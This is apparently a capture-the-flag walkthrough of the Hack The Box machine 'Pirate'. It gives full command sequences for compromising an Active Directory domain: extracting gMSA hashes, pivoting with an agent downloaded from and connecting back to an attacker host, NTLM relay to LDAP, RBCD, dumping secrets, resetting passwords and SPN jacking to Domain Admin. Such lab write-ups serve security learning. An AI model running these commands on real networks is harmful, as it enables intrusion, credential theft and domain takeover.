Machine Info

  • Name: Pirate
  • IP: 10.129.244.95 (DC01), 192.168.100.2 (WEB01, internal)
  • OS: Windows Server 2019
  • Difficulty: Hard
  • Key Skills: Pre-Windows 2000 Machine Accounts, gMSA Password Extraction, Ligolo-ng Pivoting, NTLM Relay to LDAP (–remove-mic), Resource-Based Constrained Delegation, ForceChangePassword ACL Abuse, SPN Jacking, Kerberos Constrained Delegation with Protocol Transition

Summary

Pirate is a multi-host Windows Active Directory machine simulating a realistic corporate environment. The domain controller DC01 is dual-homed, connecting to both the HTB VPN and an internal 192.168.100.0/24 subnet hosting WEB01. The attack chains six distinct AD primitives: Pre-Windows 2000 machine account passwords grant access to gMSA credentials. A Ligolo-ng tunnel reaches the internal network, where an NTLM relay with MIC bypass sets up Resource-Based Constrained Delegation on WEB01. After dumping secrets from WEB01, the cleartext password of a.white enables a ForceChangePassword ACL abuse against a.white_adm. Finally, SPN jacking moves a delegated SPN from WEB01 to DC01, and Kerberos S4U2Proxy with service rewriting delivers Domain Administrator access.

Attack Chain:

Pre-Win2000 MS01$ -> gMSA dump -> Ligolo pivot -> NTLM relay RBCD -> WEB01 admin
-> a.white creds -> ForceChangePassword a.white_adm -> SPN jacking -> S4U2Proxy -> DA

Reconnaissance

Port Scan

nmap -sC -sV --top-ports 1000 10.129.244.95

Key open ports:

Port Service Details
53 DNS Simple DNS Plus
80 HTTP Microsoft IIS 10.0 (default page)
88 Kerberos Microsoft Windows Kerberos
389/636 LDAP/LDAPS AD LDAP (pirate.htb)
445 SMB Windows Server 2019 Build 17763 (signing: required)
5985 WinRM Microsoft HTTPAPI

Domain Enumeration

nxc smb 10.129.244.95 -u 'pentest' -p 'p3nt3st2025!&'

Confirms: DC01, domain pirate.htb, Windows Server 2019, SMB signing required.

User Enumeration

nxc smb 10.129.244.95 -u pentest -p 'p3nt3st2025!&' --rid-brute

Domain users discovered:

  • Administrator (RID 500)
  • a.white_adm (RID 1104) - admin account
  • a.white (RID 3101) - regular user
  • j.sparrow (RID 3103) - “the pirate”
  • WEB01$ (RID 3102) - machine account
  • pentest - our provided account

DNS Reconnaissance

dig any web01.pirate.htb @10.129.244.95
  • DC01 - 10.129.244.95 (external), 192.168.100.1 (internal)
  • WEB01 - 192.168.100.2 (internal only)

ADCS Discovery

nxc ldap 10.129.244.95 -u pentest -p $'p3nt3st2025!&' -M adcs

CA found: pirate-DC01-CA on DC01.pirate.htb. Authenticated Users can enroll.


Initial Access - Pre-Windows 2000 Machine Accounts

Identifying Pre-Win2000 Members

ldapsearch -x -H ldap://10.129.244.95 \
  -D "CN=pentest,CN=Users,DC=pirate,DC=htb" \
  -w $'p3nt3st2025!&' \
  -b "CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb" \
  member

Members: EXCH01$, MS01$, DC01$

When machine accounts are created with the “Assign this computer account as a pre-Windows 2000 computer” checkbox, their initial password is set to the lowercase hostname (without the $). If the machine was never domain-joined, the password was never changed.

Verifying Credentials

nxc smb 10.129.244.95 -u 'MS01$' -p 'ms01'

Returns STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT - confirming the password ms01 is correct. The error occurs because the machine account was never joined to the domain, but the credentials are valid for Kerberos authentication.


Lateral Movement - gMSA Password Extraction

Clock Skew

The DC has a 7-hour clock offset. All Kerberos operations require faketime '+7 hours' to compensate.

Extracting gMSA Passwords

MS01$ is a member of the Domain Secure Servers group, which is allowed to retrieve gMSA passwords.

faketime '+7 hours' nxc ldap 10.129.244.95 \
  -u 'MS01$' -p 'ms01' -k --gmsa

Results:

  • gMSA_ADCS_prod$ NTLM: 25c7f0eb586ed3a91375dbf2f6e4a3ea
  • gMSA_ADFS_prod$ NTLM: fd9ea7ac7820dba5155bd6ed2d850c09

WinRM Access

nxc winrm 10.129.244.95 -u 'gMSA_ADCS_prod$' \
  -H '25c7f0eb586ed3a91375dbf2f6e4a3ea'

Both gMSA accounts have WinRM access to DC01 (Pwn3d!). The DC is dual-homed with 192.168.100.1 on the internal subnet.


Pivoting - Ligolo-ng to Internal Network

Setting Up the Tunnel

Upload the ligolo agent to DC01 via WinRM:

# Host HTTP server
python3 -m http.server 9999

# Download agent on DC01
nxc winrm 10.129.244.95 -u 'gMSA_ADCS_prod$' \
  -H '25c7f0eb586ed3a91375dbf2f6e4a3ea' \
  -x 'Invoke-WebRequest -Uri http://10.10.14.4:9999/agent.exe \
      -OutFile C:\Users\gMSA_ADCS_prod$\agent.exe'

Start the ligolo proxy on the attacker machine:

sudo /tmp/proxy -selfcert -laddr 0.0.0.0:11601

Connect the agent from DC01 (run as blocking command to keep alive):

nxc winrm 10.129.244.95 -u 'gMSA_ADCS_prod$' \
  -H '25c7f0eb586ed3a91375dbf2f6e4a3ea' \
  -x 'C:\Users\gMSA_ADCS_prod$\agent.exe \
      -connect 10.10.14.4:11601 -ignore-cert' &

In the ligolo proxy, select the session and start the tunnel. Then add the route:

sudo ifconfig utun9 192.168.100.254/24 192.168.100.254
sudo route add -net 192.168.100.0/24 -interface utun9

Verifying Internal Access

nxc smb 192.168.100.2 -u 'gMSA_ADFS_prod$' \
  -H 'fd9ea7ac7820dba5155bd6ed2d850c09'

Confirms SMB access to WEB01. Key finding: SMB signing is disabled on WEB01.


Exploitation - NTLM Relay and RBCD

NTLM Relay Setup

Start ntlmrelayx targeting DC01’s LDAP service with MIC bypass and interactive LDAP shell:

ntlmrelayx.py -t ldap://10.129.244.95 \
  --remove-mic -smb2support -i

The --remove-mic flag bypasses Message Integrity Code checks, which is required when relaying SMB to LDAP.

Coercing WEB01 Authentication

Use Coercer to trigger WEB01 to authenticate to our listener:

Coercer coerce -u 'gMSA_ADFS_prod$' \
  --hashes ':fd9ea7ac7820dba5155bd6ed2d850c09' \
  -d pirate.htb -t 192.168.100.2 -l 192.168.100.254 \
  --always-continue --filter-protocol-name MS-EFSR

The relay succeeds - ntlmrelayx reports:

Authenticating against ldap://10.129.244.95 as PIRATE/WEB01$ SUCCEED
Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/WEB01$

Setting RBCD via LDAP Shell

Connect to the interactive LDAP shell:

nc 127.0.0.1 11000

Set Resource-Based Constrained Delegation allowing MS01$ to impersonate users on WEB01$:

# set_rbcd WEB01$ MS01$
Delegation rights modified successfully!
MS01$ can now impersonate users on WEB01$ via S4U2Proxy

S4U2Proxy for Administrator Access

Request a service ticket impersonating Administrator for WEB01:

faketime '+7 hours' getST.py pirate.htb/'MS01$':'ms01' \
  -spn cifs/WEB01.pirate.htb -impersonate Administrator \
  -dc-ip 10.129.244.95

User Flag

Dumping WEB01 Secrets

Use the Administrator ticket to dump local hashes:

export KRB5CCNAME=Administrator@[email protected]
faketime '+7 hours' secretsdump.py -k -no-pass \
  -target-ip 192.168.100.2 -dc-ip 10.129.244.95 WEB01.pirate.htb

Local admin hash: b1aac1584c2ea8ed0a9429684e4fc3e5

Reading user.txt

nxc winrm 192.168.100.2 -u Administrator \
  -H 'b1aac1584c2ea8ed0a9429684e4fc3e5' --local-auth \
  -x 'type C:\Users\a.white\Desktop\user.txt'
206ea25ee5f06a13e7757fcd72796d98

Extracting a.white Credentials

Dump LSA secrets from WEB01:

nxc smb 192.168.100.2 -u Administrator \
  -H 'b1aac1584c2ea8ed0a9429684e4fc3e5' --local-auth --lsa

Reveals: PIRATE\a.white cleartext password: E2nvAOKSz5Xz2MJu


Privilege Escalation - SPN Jacking to Domain Admin

ForceChangePassword on a.white_adm

a.white has the ForceChangePassword ACL right over a.white_adm. Reset the password via LDAPS:

import ldap3, ssl
tls = ldap3.Tls(validate=ssl.CERT_NONE)
server = ldap3.Server('ldaps://10.129.244.95', tls=tls)
conn = ldap3.Connection(server, user='[email protected]',
                        password='E2nvAOKSz5Xz2MJu', auto_bind=True)
conn.extend.microsoft.modify_password(
    'CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb',
    'PwnedByPirate2026')

Understanding a.white_adm’s Privileges

a.white_adm has two critical permissions:

  • Constrained Delegation with Protocol Transition to HTTP/WEB01.pirate.htb
  • WriteSPN rights on the DC01$ computer object

The SPN Jacking Attack

The goal: trick the KDC into issuing a service ticket for DC01 instead of WEB01.

Step 1 - Remove HTTP/WEB01.pirate.htb from WEB01$:

conn.modify('CN=WEB01,CN=Computers,DC=pirate,DC=htb',
    {'servicePrincipalName':
        [(ldap3.MODIFY_DELETE, ['HTTP/WEB01.pirate.htb'])]})

Step 2 - Add HTTP/WEB01.pirate.htb to DC01$:

conn.modify('CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb',
    {'servicePrincipalName':
        [(ldap3.MODIFY_ADD, ['HTTP/WEB01.pirate.htb'])]})

Now the KDC believes the HTTP service for WEB01 resides on DC01.

Step 3 - Request S4U ticket with service rewrite:

faketime '+7 hours' getST.py pirate.htb/a.white_adm:PwnedByPirate2026 \
  -spn HTTP/WEB01.pirate.htb -impersonate Administrator \
  -altservice cifs/DC01.pirate.htb -dc-ip 10.129.244.95

Since the S4U2Proxy ticket is encrypted with DC01’s long-term key (because the SPN now resolves to DC01), the -altservice flag rewrites the service portion to cifs/DC01.pirate.htb. The DC accepts this ticket as valid.

Root Flag

export KRB5CCNAME=Administrator@[email protected]
faketime '+7 hours' psexec.py -k -no-pass \
  -target-ip 10.129.244.95 -dc-ip 10.129.244.95 \
  DC01.pirate.htb 'cmd /c type C:\Users\Administrator\Desktop\root.txt'
a984f8ff19e4a7a2bd89be6375eaeeed

Key Takeaways

  • Pre-Windows 2000 Compatible Access is a dangerous legacy setting. Machine accounts created with this checkbox keep their default password (lowercase hostname) until they’re actually joined to the domain.

  • gMSA credentials are only as secure as the principals allowed to read them. If a compromised Pre-Win2000 machine account is in the retrieval group, the gMSA hash is exposed.

  • SMB signing disabled on internal hosts enables NTLM relay attacks, even when the DC enforces signing. The --remove-mic flag in ntlmrelayx bypasses MIC checks for SMB-to-LDAP relay.

  • SPN jacking is a powerful technique when a user has both Constrained Delegation and WriteSPN rights. By moving a delegated SPN to a higher-value target, the S4U2Proxy ticket becomes valid against that target instead.

  • Network segmentation without proper monitoring creates blind spots. The internal WEB01 had weaker security controls (no SMB signing) that were invisible from external scanning.